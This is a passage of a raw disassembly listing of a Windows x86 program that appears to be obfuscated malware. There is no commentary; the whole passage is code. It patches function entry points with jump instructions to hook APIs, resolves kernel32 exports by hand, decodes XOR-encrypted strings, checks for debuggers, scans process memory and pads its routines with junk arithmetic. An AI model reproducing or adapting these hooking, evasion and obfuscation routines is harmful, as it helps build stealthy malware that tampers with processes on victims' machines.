XREF: sub_402843+4Fj add [ebp+var_4], 0Ah movzx edi, [ebp+arg_8] shl edi, 2 mov ebx, ds:dword_40F2E0[edi] and [ebp+var_8], 0 loc_4028D0: ; CODE XREF: sub_402843+162j mov eax, ebx add eax, [ebp+var_8] push eax call sub_401D31 pop ecx call sub_40C794 ; GetProcessHeap mov eax, [ebp+var_8] movzx eax, byte ptr [ebx+eax] cmp eax, 0E8h jz short loc_40291F cmp eax, 0E9h jz short loc_40291F call sub_40C794 ; GetProcessHeap and [ebp+var_C], 0 jmp short loc_402913 ; --------------------------------------------------------------------------- loc_402901: ; CODE XREF: sub_402843+D8j mov eax, [ebp+var_8] add eax, [ebp+var_C] mov edx, [ebp+var_4] mov cl, [ebx+eax] mov [edx+eax], cl inc [ebp+var_C] loc_402913: ; CODE XREF: sub_402843+BCj mov eax, ds:dword_40E07C cmp [ebp+var_C], eax jb short loc_402901 jmp short loc_402999 ; --------------------------------------------------------------------------- loc_40291F: ; CODE XREF: sub_402843+AAj ; sub_402843+B1j lea edi, [ebp+var_22] lea esi, aZ ; "z " mov ecx, 3 rep movsb mov eax, [ebp+var_8] mov edx, [ebp+var_4] mov cl, [ebx+eax] mov [edx+eax], cl call sub_40C854 ; IsDebuggerPresent mov eax, [ebp+var_8] lea eax, [ebx+eax+1] mov eax, [eax] mov [ebp+var_10], eax mov [ebp+var_1F], 65h movzx eax, [ebp+var_1F] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1F], al mov eax, [ebp+var_8] mov edx, [ebp+var_10] mov ecx, [ebp+var_4] add ecx, eax sub edx, ecx mov ecx, ebx add ecx, eax mov eax, edx add eax, ecx mov [ebp+var_1C], eax lea edi, [ebp+var_27] lea esi, aNiL ; "NI*l" mov ecx, 5 rep movsb mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [eax+edx+1] mov edx, [ebp+var_1C] mov [eax], edx call sub_40C740 ; GetCurrentThreadId loc_402999: ; CODE XREF: sub_402843+DAj mov eax, ds:dword_40E07C add [ebp+var_8], eax cmp [ebp+var_8], 5 jb loc_4028D0 mov [ebp+var_18], 60F2h sub [ebp+var_18], 502Ah mov eax, [ebp+var_8] or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] add ecx, eax sub edx, ecx mov ecx, ebx add ecx, eax mov eax, edx add eax, ecx sub eax, 4 mov [ebp+var_10], eax mov ax, word_43D11B mov [ebp+var_1E], ax mov eax, [ebp+var_4] mov edx, [ebp+var_8] mov byte ptr [edx+eax], 0E9h call sub_40C734 ; GetCurrentProcessId mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [eax+edx+1] mov edx, [ebp+var_10] mov [eax], edx call sub_40C734 ; GetCurrentProcessId or eax, 0FFFFFFFFh sub eax, ebx mov edx, [ebp+var_4] mov ecx, [ebp+var_8] lea edx, [edx+ecx+5] add eax, edx sub eax, 4 mov [ebp+var_10], eax mov byte ptr [ebx], 0E9h mov ds:1[ebx], eax call sub_40C7C4 ; GetTickCount push [ebp+var_8] push [ebp+var_4] movzx edi, [ebp+arg_8] shl edi, 4 push off_43CE84[edi] call sub_402563 add esp, 0Ch loc_402A43: ; CODE XREF: sub_402843+72j pop edi pop esi pop ebx leave retn sub_402843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A48 proc near ; CODE XREF: sub_40AA24+5B8p var_21B8 = dword ptr -21B8h var_21B4 = dword ptr -21B4h var_21B0 = dword ptr -21B0h var_21AC = dword ptr -21ACh var_21A8 = dword ptr -21A8h var_21A4 = dword ptr -21A4h var_21A0 = dword ptr -21A0h var_219B = byte ptr -219Bh var_2198 = dword ptr -2198h var_2193 = dword ptr -2193h var_218C = dword ptr -218Ch var_2188 = dword ptr -2188h var_2182 = word ptr -2182h var_2180 = dword ptr -2180h var_207B = byte ptr -207Bh var_2074 = dword ptr -2074h var_2070 = byte ptr -2070h var_2068 = byte ptr -2068h var_2060 = dword ptr -2060h var_2050 = dword ptr -2050h var_204C = dword ptr -204Ch var_2044 = dword ptr -2044h var_2034 = dword ptr -2034h var_2030 = dword ptr -2030h var_202C = dword ptr -202Ch var_2026 = byte ptr -2026h var_2025 = byte ptr -2025h var_2020 = dword ptr -2020h var_101C = dword ptr -101Ch var_1015 = byte ptr -1015h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 258Ch call sub_40C6B8 push ebx push esi push edi call sub_40C7C4 ; GetTickCount call sub_402226 call sub_40C764 ; RtlGetLastWin32Error mov [ebp+var_2025], 0 call sub_40C7D0 ; GetVersion cmp eax, 80000000h jnb short loc_402A81 mov [ebp+var_2025], 1 loc_402A81: ; CODE XREF: sub_402A48+30j lea edi, [ebp-2067h] lea esi, byte_43D11D mov ecx, 3 rep movsb mov [ebp+var_1015], 0 loc_402A9B: ; CODE XREF: sub_402A48+F5j cmp [ebp+var_2025], 0 jnz short loc_402AB8 movzx edi, [ebp+var_1015] shl edi, 4 cmp byte_43CE88[edi], 1 jz short loc_402AD5 loc_402AB8: ; CODE XREF: sub_402A48+5Aj cmp [ebp+var_2025], 0 jz short loc_402AD7 movzx edi, [ebp+var_1015] shl edi, 4 cmp byte_43CE88[edi], 2 jnz short loc_402AD7 loc_402AD5: ; CODE XREF: sub_402A48+6Ej jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402AD7: ; CODE XREF: sub_402A48+77j ; sub_402A48+8Bj movzx edi, [ebp+var_1015] mov esi, edi shl esi, 4 push off_43CE80[esi] call sub_40C860 ; LoadLibraryA mov ds:dword_415180[edi*4], eax movzx edi, [ebp+var_1015] mov esi, edi shl esi, 4 push off_43CE7C[esi] shl edi, 2 push ds:dword_415180[edi] call sub_40C788 ; GetProcAddress mov ds:dword_40F2E0[edi], eax call sub_40C7C4 ; GetTickCount loc_402B24: ; CODE XREF: sub_402A48:loc_402AD5j add [ebp+var_1015], 1 movzx edi, [ebp+var_1015] shl edi, 4 cmp off_43CE7C[edi], 0 jnz loc_402A9B lea edi, [ebp-206Fh] lea esi, aOGdu ; "O$/gdu " movsd movsd mov [ebp+var_1015], 0 loc_402B58: ; CODE XREF: sub_403010+2C2j movzx edi, [ebp+var_1015] shl edi, 2 cmp ds:dword_40F2E0[edi], 0 jz loc_4032B9 call sub_40C854 ; IsDebuggerPresent movzx edi, [ebp+var_1015] shl edi, 2 mov edi, ds:dword_415180[edi] mov [ebp+var_2034], edi cmp [ebp+var_2025], 0 jz loc_402E2B mov [ebp+var_21A0], 51E2h mov eax, 0D23h mul [ebp+var_21A0] mov [ebp+var_21A4], eax mov [ebp+var_21A0], eax call sub_4022BB mov [ebp+var_2030], eax shr edi, 16h shl edi, 16h mov [ebp+var_8], edi call sub_40C740 ; GetCurrentThreadId mov eax, edi add eax, 400000h mov [ebp+var_1014], eax xor ebx, ebx jmp short loc_402C3A ; --------------------------------------------------------------------------- loc_402BE4: ; CODE XREF: sub_402A48+1FBj mov [ebp+var_21A8], 0EAEh mov eax, 1AEBh mul [ebp+var_21A8] mov [ebp+var_21AC], eax mov [ebp+var_21A8], eax mov eax, dword_43CFF8 add eax, 0FEFh push eax push [ebp+var_8] call sub_40C83C ; IsBadReadPtr mov [ebp+var_4], eax call sub_40C7C4 ; GetTickCount xor [ebp+var_4], 1 shl [ebp+var_4], 2 mov edi, [ebp+var_4] mov [ebp+ebx*4+var_1010], edi inc ebx add [ebp+var_8], 1000h loc_402C3A: ; CODE XREF: sub_402A48+19Aj mov eax, [ebp+var_1014] cmp [ebp+var_8], eax jbe short loc_402BE4 lea eax, [ebp+var_219B] push eax call sub_40C824 ; GlobalMemoryStatus call sub_40C740 ; GetCurrentThreadId and [ebp+var_101C], 0 jmp loc_402D77 ; --------------------------------------------------------------------------- loc_402C62: ; CODE XREF: sub_402A48+340j call sub_40C7D0 ; GetVersion push 0FFFFh push [ebp+var_101C] push [ebp+var_2030] call sub_402445 add esp, 0Ch mov [ebp+var_C], eax mov byte ptr [ebp+var_21AC+3], 12h movzx eax, byte ptr [ebp+var_21AC+3] imul eax, 0C31h mov byte ptr [ebp+var_21AC+3], al cmp [ebp+var_C], 0 jnz short loc_402CAD call sub_40C740 ; GetCurrentThreadId jmp loc_402D6D ; --------------------------------------------------------------------------- loc_402CAD: ; CODE XREF: sub_402A48+259j and [ebp+var_21A8], 0 loc_402CB4: ; CODE XREF: sub_403010+2A4j mov eax, [ebp+var_21A8] mov [ebp+var_8], eax jmp loc_402D52 ; --------------------------------------------------------------------------- loc_402CC2: ; CODE XREF: sub_402A48+311j mov [ebp+var_21B0], 690h add [ebp+var_21B0], 2151h xor ebx, ebx loc_402CD8: ; CODE XREF: sub_402A48+2DFj call sub_40C7C4 ; GetTickCount mov edi, [ebp+var_8] shr edi, 2 shl edi, 2 add edi, [ebp+var_C] mov edi, [edi+ebx*4] mov [ebp+var_4], edi and [ebp+var_4], 4 mov edi, [ebp+ebx*4+var_1010] cmp [ebp+var_4], edi jnz short loc_402D29 mov [ebp+var_21B4], 6D86h mov eax, 4E3Ch mul [ebp+var_21B4] mov [ebp+var_21B8], eax mov [ebp+var_21B4], eax inc ebx cmp ebx, 400h jb short loc_402CD8 loc_402D29: ; CODE XREF: sub_402A48+2B5j cmp ebx, 3FFh jb short loc_402D4B call sub_40C794 ; GetProcessHeap mov eax, [ebp+var_8] add eax, 1000h mov [ebp+var_21A8], eax call sub_40C734 ; GetCurrentProcessId jmp short loc_402D9E ; --------------------------------------------------------------------------- loc_402D4B: ; CODE XREF: sub_402A48+2E7j add [ebp+var_8], 1000h loc_402D52: ; CODE XREF: sub_402A48+275j cmp [ebp+var_8], 0F000h jbe loc_402CC2 push [ebp+var_C] call sub_4024A8 pop ecx call sub_40C740 ; GetCurrentThreadId loc_402D6D: ; CODE XREF: sub_402A48+260j add [ebp+var_101C], 10000h loc_402D77: ; CODE XREF: sub_402A48+215j mov eax, [ebp+var_2193] sub eax, 0FFFFh cmp [ebp+var_101C], eax jbe loc_402C62 push [ebp+var_2030] call sub_40C7AC ; CloseHandle jmp loc_4032B9 ; --------------------------------------------------------------------------- loc_402D9E: ; CODE XREF: sub_402A48+301j movzx edi, [ebp+var_1015] shl edi, 2 mov edi, ds:dword_40F2E0[edi] mov [ebp+var_1014], edi and [ebp+var_1014], 0 loc_402DBC: ; CODE XREF: sub_402A48+3E1j call sub_40C764 ; RtlGetLastWin32Error mov edi, [ebp+var_1014] shl edi, 2 mov esi, [ebp+var_8] shr esi, 2 shl esi, 2 add esi, [ebp+var_C] mov esi, [esi+edi] mov [ebp+edi+var_2020], esi call sub_40C734 ; GetCurrentProcessId mov edi, [ebp+var_1014] shl edi, 2 mov esi, [ebp+var_8] shr esi, 2 shl esi, 2 add esi, [ebp+var_C] add edi, esi or byte ptr [edi], 2 mov byte ptr [ebp+var_21A8+3], 1Eh movzx eax, byte ptr [ebp+var_21A8+3] imul eax, 409Ah mov byte ptr [ebp+var_21A8+3], al inc [ebp+var_1014] cmp [ebp+var_1014], 400h jb short loc_402DBC loc_402E2B: ; CODE XREF: sub_402A48+14Bj cmp [ebp+var_2025], 0 jnz loc_402F0D call sub_40C7D0 ; GetVersion push offset aKernel32_dll ; "kernel32.dll" call sub_40C77C ; GetModuleHandleA mov [ebp+var_2180], eax lea edi, [ebp+var_21A4+3] lea esi, aE3 ; "-;E3" mov ecx, 5 rep movsb mov eax, [ebp+var_2180] mov edx, eax add edx, ds:3Ch[eax] mov [ebp+var_2193+3], edx mov [ebp+var_2182], 4195h movzx eax, [ebp+var_2182] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2182], ax mov eax, [ebp+var_2180] mov edx, [ebp+var_2193+3] add edx, 78h add eax, [edx] mov [ebp-2194h], eax call sub_40C734 ; GetCurrentProcessId mov eax, [ebp+var_2180] mov edx, [ebp-2194h] add edx, 1Ch add eax, [edx] mov [ebp+var_2198], eax mov eax, [ebp+var_2180] mov edx, [ebp+var_2198] add eax, [edx] mov [ebp-219Ch], eax mov [ebp+var_218C], 0F88h add [ebp+var_218C], 72CBh mov [ebp+var_2074], eax mov [ebp+var_2188], 200Bh mov eax, [ebp+var_2188] mov edx, eax add edx, eax mov [ebp+var_2188], edx loc_402F0D: ; CODE XREF: sub_402A48+3EAj push 1Ch lea eax, [ebp+var_2050] push eax call sub_40C8C0 ; RtlZeroMemory mov eax, [ebp+var_2034] mov [ebp+var_202C], eax call sub_40C7D0 ; GetVersion loc_402F2C: ; CODE XREF: sub_402A48+537j ; sub_402A48+57Ej push 1Ch lea eax, [ebp+var_2050] push eax push [ebp+var_202C] call sub_40C920 ; VirtualQuery call sub_40C734 ; GetCurrentProcessId mov eax, [ebp+var_2034] cmp [ebp+var_204C], eax jnz short loc_402FCB lea edi, [ebp+var_207B] lea esi, aZt_ ; "!/zt_$" mov ecx, 7 rep movsb mov eax, [ebp+var_2044] mov [ebp+var_2060], eax add [ebp+var_202C], eax cmp [ebp+var_2025], 0 jnz short loc_402F2C mov [ebp+var_2180], 691Fh mov eax, [ebp+var_2180] mov edx, eax add edx, eax mov [ebp+var_2180], edx push 20060000h push 0 mov edi, [ebp+var_2060] shr edi, 0Ch push edi mov edi, [ebp+var_2050] shr edi, 0Ch push edi push 1000Dh call [ebp+var_2074] call sub_40C740 ; GetCurrentThreadId jmp loc_402F2C ; --------------------------------------------------------------------------- loc_402FCB: ; CODE XREF: sub_402A48+509j movzx edi, [ebp+var_1015] shl edi, 2 mov esi, [ebp+var_202C] sub esi, [ebp+var_2034] mov ds:dword_4118A0[edi], esi movzx edi, [ebp+var_1015] shl edi, 2 mov edi, ds:dword_40F2E0[edi] mov [ebp+var_1014], edi mov eax, dword_43CFF4 ; DATA XREF: .data:loc_4403D2r ; sub_4403F5+8Cw ... loc_403004: ; DATA XREF: .data:0043F42Dr ; .data:loc_43F469r ... add eax, 1000h push eax push edi call sub_40C848 ; IsBadWritePtr sub_402A48 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_403010 proc near ; DATA XREF: .data:0043F529o ; sub_4403F5+10o mov [ebp-2064h], eax mov dword ptr [ebp-2058h], 78C1h add dword ptr [ebp-2058h], 3550h test eax, eax jnz loc_403269 mov dword ptr [ebp-205Ch], 1FC2h add dword ptr [ebp-205Ch], 61DDh cmp byte ptr [ebp+8], 0 jz loc_403233 lea edi, [ebp-2183h] lea esi, byte_43D134 xor ecx, ecx inc ecx rep movsb mov eax, [ebp-1014h] movzx eax, byte ptr [eax] cmp eax, 0E9h jz short loc_403085 call sub_40C764 ; RtlGetLastWin32Error cmp byte ptr [ebp+8], 1 jz loc_403269 jmp loc_403233 ; --------------------------------------------------------------------------- loc_403085: ; CODE XREF: sub_403010+5Fj mov eax, [ebp-1014h] mov edx, ds:1[eax] sub edx, 0FFFFFFFFh lea eax, [edx+eax+4] mov [ebp-2024h], eax mov dword ptr [ebp-2180h], 14DFh mov eax, 61CEh mul dword ptr [ebp-2180h] mov [ebp-2588h], eax mov [ebp-2180h], eax mov byte ptr [ebp-217Ch], 0 loc_4030C7: ; CODE XREF: sub_403010+154j sub dword ptr [ebp-2024h], 5 mov eax, [ebp-2024h] mov [ebp-4], eax loc_4030D7: ; CODE XREF: sub_403010+100j mov eax, [ebp-4] mov edx, eax dec edx cmp byte ptr [edx], 0 jnz short loc_403108 mov edx, eax sub edx, 2 cmp byte ptr [edx], 0 jnz short loc_403108 mov edx, eax sub edx, 3 cmp byte ptr [edx], 0 jnz short loc_403108 mov edx, eax sub edx, 4 cmp byte ptr [edx], 0 jnz short loc_403108 sub eax, 5 cmp byte ptr [eax], 0 jz short loc_403112 loc_403108: ; CODE XREF: sub_403010+D0j ; sub_403010+DAj ... call sub_40C7D0 ; GetVersion dec dword ptr [ebp-4] jmp short loc_4030D7 ; --------------------------------------------------------------------------- loc_403112: ; CODE XREF: sub_403010+F6j movzx edi, byte ptr [ebp-217Ch] shl edi, 2 mov esi, [ebp-4] mov [ebp+edi-2580h], esi add byte ptr [ebp-217Ch], 1 movzx eax, byte ptr [esi] cmp eax, 0E9h jnz short loc_403169 mov word ptr [ebp-258Ah], 7AC6h add word ptr [ebp-258Ah], 2581h mov eax, esi mov edx, ds:1[eax] sub edx, 0FFFFFFFFh lea eax, [edx+eax+4] mov [ebp-2024h], eax call sub_40C734 ; GetCurrentProcessId jmp loc_4030C7 ; --------------------------------------------------------------------------- loc_403169: ; CODE XREF: sub_403010+125j mov ebx, [ebp-4] jmp short loc_4031A0 ; --------------------------------------------------------------------------- loc_40316E: ; CODE XREF: sub_403010+196j mov word ptr [ebp-258Ah], 135Dh movzx eax, word ptr [ebp-258Ah] imul eax, 5BAAh mov [ebp-258Ah], ax mov eax, [ebp-1014h] add eax, ebx sub eax, [ebp-4] mov dl, [ebx] mov [eax], dl call sub_40C734 ; GetCurrentProcessId inc ebx loc_4031A0: ; CODE XREF: sub_403010+15Cj cmp ebx, [ebp-2024h] jb short loc_40316E loc_4031A8: ; CODE XREF: sub_403010+208j sub byte ptr [ebp-217Ch], 1 movzx edi, byte ptr [ebp-217Ch] shl edi, 2 mov ebx, [ebp+edi-2580h] loc_4031C0: ; CODE XREF: sub_403010+1FDj mov byte ptr [ebx], 0 call sub_40C7C4 ; GetTickCount cmp byte ptr ds:1[ebx], 0 jnz short loc_4031FA cmp byte ptr ds:2[ebx], 0 jnz short loc_4031FA cmp byte ptr ds:3[ebx], 0 jnz short loc_4031FA cmp byte ptr ds:4[ebx], 0 jnz short loc_4031FA cmp byte ptr ds:5[ebx], 0 jz short loc_40320F loc_4031FA: ; CODE XREF: sub_403010+1C0j ; sub_403010+1CAj ... mov word ptr [ebp-2182h], 7E10h add word ptr [ebp-2182h], 504Ch inc ebx jmp short loc_4031C0 ; --------------------------------------------------------------------------- loc_40320F: ; CODE XREF: sub_403010+1E8j movzx eax, byte ptr [ebp-217Ch] or eax, eax jg short loc_4031A8 cmp byte ptr [ebp+8], 1 jz short loc_403269 lea edi, [ebp-2583h] lea esi, aZ_0 ; " Z" mov ecx, 3 rep movsb loc_403233: ; CODE XREF: sub_403010+3Aj ; sub_403010+70j movzx eax, byte ptr [ebp-1015h] push eax push dword ptr [ebp-202Ch] push dword ptr [ebp-2034h] call sub_402843 add esp, 0Ch mov byte ptr [ebp-2051h], 0C0h movzx eax, byte ptr [ebp-2051h] mov edx, eax add edx, eax mov eax, edx mov [ebp-2051h], al loc_403269: ; CODE XREF: sub_403010+1Cj ; sub_403010+6Aj ... cmp byte ptr [ebp-2025h], 0 jz short loc_4032B9 call sub_40C764 ; RtlGetLastWin32Error and dword ptr [ebp-1014h], 0 loc_40327E: ; CODE XREF: sub_403010+29Dj mov edi, [ebp-1014h] shl edi, 2 mov esi, [ebp-8] shr esi, 2 shl esi, 2 add esi, [ebp-0Ch] mov edx, [ebp+edi-2020h] mov [esi+edi], edx inc dword ptr [ebp-1014h] cmp dword ptr [ebp-1014h], 400h jb short loc_40327E call sub_40C7D0 ; GetVersion jmp loc_402CB4 ; --------------------------------------------------------------------------- loc_4032B9: ; CODE XREF: sub_402A48+122j ; sub_402A48+351j ... add byte ptr [ebp-1015h], 1 movzx edi, byte ptr [ebp-1015h] shl edi, 4 cmp off_43CE7C[edi], 0 jnz loc_402B58 call sub_40C740 ; GetCurrentThreadId pop edi pop esi pop ebx leave retn sub_403010 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4032E2 proc near ; CODE XREF: sub_40341E+37p ; sub_40349A+44p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43D140 lea eax, ds:41D8B0h[eax] push eax call sub_40CC14 add esp, 0Ch xor edi, edi jmp short loc_403322 ; --------------------------------------------------------------------------- loc_403308: ; CODE XREF: sub_4032E2+42j mov eax, dword_43D140 add eax, edi lea eax, ds:41D8B0h[eax] movsx edx, byte ptr [eax] xor edx, 0AFh mov [eax], dl inc edi loc_403322: ; CODE XREF: sub_4032E2+24j cmp edi, esi jl short loc_403308 mov eax, dword_43D140 add eax, esi mov byte ptr ds:dword_41D8B0[eax], 0 mov edi, dword_43D140 add dword_43D140, 3 mov eax, dword_43D140 add eax, 5 add eax, esi mov dword_43D140, eax cmp eax, 0DC9h jle short loc_40335F and dword_43D140, 0 loc_40335F: ; CODE XREF: sub_4032E2+74j mov [ebp+var_4], 116h lea eax, dword_41D8B0[edi] pop edi pop esi leave retn sub_4032E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403370 proc near ; CODE XREF: sub_40341E+19p ; sub_40349A+33p var_F = byte ptr -0Fh var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C7D0 ; GetVersion call sub_40C7C4 ; GetTickCount mov ecx, ebx or eax, 0FFFFFFFFh loc_40338B: ; CODE XREF: sub_403370+20j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40338B mov edi, eax mov [ebp+var_6], di mov ax, [ebp+var_6] mov [ebp+var_2], ax jmp short loc_4033C6 ; --------------------------------------------------------------------------- loc_4033A2: ; CODE XREF: sub_403370+5Cj movzx eax, [ebp+var_2] cmp byte ptr [ebx+eax], 5Ch jnz short loc_4033C2 call sub_40C854 ; IsDebuggerPresent inc [ebp+var_2] lea edi, [ebp+var_F] lea esi, aObxzqn@ ; "oxzqn@" movsd movsd jmp short loc_4033CE ; --------------------------------------------------------------------------- loc_4033C2: ; CODE XREF: sub_403370+3Aj dec [ebp+var_2] loc_4033C6: ; CODE XREF: sub_403370+30j movzx eax, [ebp+var_2] or eax, eax jg short loc_4033A2 loc_4033CE: ; CODE XREF: sub_403370+50j mov ax, [ebp+var_2] cmp ax, [ebp+var_6] jnb short loc_40340B mov [ebp+var_4], 0 jmp short loc_4033F9 ; --------------------------------------------------------------------------- loc_4033E0: ; CODE XREF: sub_403370+99j movzx eax, [ebp+var_4] mov edx, [ebp+arg_4] movzx ecx, [ebp+var_2] mov esi, eax add esi, ecx mov cl, [ebx+esi] mov [edx+eax], cl inc [ebp+var_4] loc_4033F9: ; CODE XREF: sub_403370+6Ej movzx eax, [ebp+var_4] movzx edx, [ebp+var_6] movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jle short loc_4033E0 loc_40340B: ; CODE XREF: sub_403370+66j lea edi, [ebp+var_7] lea esi, byte_43D14C xor ecx, ecx inc ecx rep movsb pop edi pop esi pop ebx leave retn sub_403370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40341E proc near ; CODE XREF: sub_403A5F+7Dp ; sub_403BE7+24Ep ... var_10A = word ptr -10Ah var_108 = word ptr -108h var_106 = byte ptr -106h var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push edi call sub_40C734 ; GetCurrentProcessId lea eax, [ebp+var_106] push eax push [ebp+arg_0] call sub_403370 mov [ebp+var_108], 1417h add [ebp+var_108], 7A22h push 2 push offset aXs ; "•é" call sub_4032E2 push eax lea edi, [ebp+var_106] push edi call sub_40CC74 add esp, 18h mov [ebp+var_2], 4444h movzx eax, [ebp+var_2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2], ax lea eax, [ebp+var_106] push eax call sub_40C800 ; GlobalAddAtomA mov ax, word_43D14D mov [ebp+var_10A], ax pop edi leave retn sub_40341E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40349A proc near ; CODE XREF: sub_4098A8+2D8p ; sub_4098A8+388p ... var_112 = byte ptr -112h var_10C = dword ptr -10Ch var_108 = word ptr -108h var_106 = word ptr -106h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 114h push ebx push esi push edi mov ax, word_43D14F mov [ebp+var_108], ax mov eax, dword_43D151 mov [ebp+var_10C], eax call sub_40C740 ; GetCurrentThreadId lea eax, [ebp+var_104] push eax push [ebp+arg_0] call sub_403370 call sub_40C7C4 ; GetTickCount push 2 push offset aXs ; "•é" call sub_4032E2 push eax lea edi, [ebp+var_104] push edi call sub_40CC74 add esp, 18h call sub_40C764 ; RtlGetLastWin32Error loc_4034F8: ; CODE XREF: sub_40349A+AEj lea eax, [ebp+var_104] push eax call sub_40C818 ; GlobalFindAtomA mov edi, eax mov [ebp+var_106], di lea edi, [ebp+var_112] lea esi, aJ95e ; " J95E" mov ecx, 3 rep movsw cmp [ebp+var_106], 0 jz short loc_40354A mov ebx, 4056h add ebx, 1CB6h movzx eax, [ebp+var_106] push eax call sub_40C80C ; GlobalDeleteAtom call sub_40C794 ; GetProcessHeap jmp short loc_4034F8 ; --------------------------------------------------------------------------- loc_40354A: ; CODE XREF: sub_40349A+8Fj pop edi pop esi pop ebx leave retn sub_40349A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40354F proc near ; CODE XREF: sub_4035DB+A0p ; sub_4036BC+34p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 1EAh push esi push [ebp+arg_0] mov eax, dword_43D164 lea eax, ds:40E180h[eax] push eax call sub_40CC14 add esp, 0Ch xor edi, edi jmp short loc_403597 ; --------------------------------------------------------------------------- loc_40357D: ; CODE XREF: sub_40354F+4Aj mov eax, dword_43D164 add eax, edi lea eax, ds:40E180h[eax] movsx edx, byte ptr [eax] xor edx, 0D3h mov [eax], dl inc edi loc_403597: ; CODE XREF: sub_40354F+2Cj cmp edi, esi jl short loc_40357D mov [ebp+var_8], 278h mov eax, dword_43D164 add eax, esi mov byte ptr ds:dword_40E180[eax], 0 mov edi, dword_43D164 mov eax, edi add eax, 6 add eax, esi mov dword_43D164, eax cmp eax, 0DCEh jle short loc_4035D1 and dword_43D164, 0 loc_4035D1: ; CODE XREF: sub_40354F+79j lea eax, dword_40E180[edi] pop edi pop esi leave retn sub_40354F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035DB proc near ; CODE XREF: sub_4036BC+41p var_3F = byte ptr -3Fh var_38 = byte ptr -38h var_35 = byte ptr -35h var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h push ebx push esi push edi mov ebx, [ebp+arg_4] lea edi, [ebp+var_38] lea esi, byte_43D168 mov ecx, 3 rep movsb lea edi, [ebp+var_3F] lea esi, byte_43D16B mov ecx, 7 rep movsb call sub_40C7D0 ; GetVersion mov eax, dword_43D15C inc eax push eax lea eax, [ebp+var_35] push eax push [ebp+arg_0] call sub_40CBC0 add esp, 0Ch call sub_40C7C4 ; GetTickCount lea ecx, [ebp+var_35] or eax, 0FFFFFFFFh loc_40362D: ; CODE XREF: sub_4035DB+57j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40362D mov edx, eax mov [ebp+var_2], dl call sub_40C764 ; RtlGetLastWin32Error mov [ebp+var_1], 0 jmp short loc_40365A ; --------------------------------------------------------------------------- loc_403644: ; CODE XREF: sub_4035DB+89j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] sub edx, eax dec edx mov al, [ebp+eax+var_35] mov [ebx+edx], al add [ebp+var_1], 1 loc_40365A: ; CODE XREF: sub_4035DB+67j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_403644 movzx eax, [ebp+var_2] mov byte ptr [ebx+eax], 0 mov [ebp+var_3], 0 jmp short loc_40368E ; --------------------------------------------------------------------------- loc_403674: ; CODE XREF: sub_4035DB+C4j push 1 push (offset aVgu+4) call sub_40354F push eax push ebx call sub_40CC74 add esp, 10h add [ebp+var_3], 1 loc_40368E: ; CODE XREF: sub_4035DB+97j movzx eax, [ebp+var_3] mov edx, 20h movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jl short loc_403674 call sub_40C854 ; IsDebuggerPresent push [ebp+arg_8] push ebx call sub_40CC74 add esp, 8 call sub_40C7C4 ; GetTickCount pop edi pop esi pop ebx leave retn sub_4035DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036BC proc near ; CODE XREF: sub_40AA24+694p var_3C = byte ptr -3Ch var_36 = byte ptr -36h var_4 = word ptr -4 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3Ch push ebx push esi push edi mov ebx, 65DBh sub ebx, 2975h lea edi, [ebp+var_3C] lea esi, aDmc9 ; "!dmC9" mov ecx, 3 rep movsw mov [ebp+var_1], 1Bh sub [ebp+var_1], 0FBh push 1 push (offset aVgu+2) call sub_40354F push eax lea edi, [ebp+var_36] push edi push [ebp+arg_0] call sub_4035DB add esp, 14h mov [ebp+var_4], 23Ah sub [ebp+var_4], 4D70h lea eax, [ebp+var_36] push eax call sub_40C800 ; GlobalAddAtomA mov ebx, 858h mov eax, ebx add eax, ebx mov ebx, eax pop edi pop esi pop ebx leave retn sub_4036BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40372A proc near ; CODE XREF: sub_4037CA+37p ; .text:0040389Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push 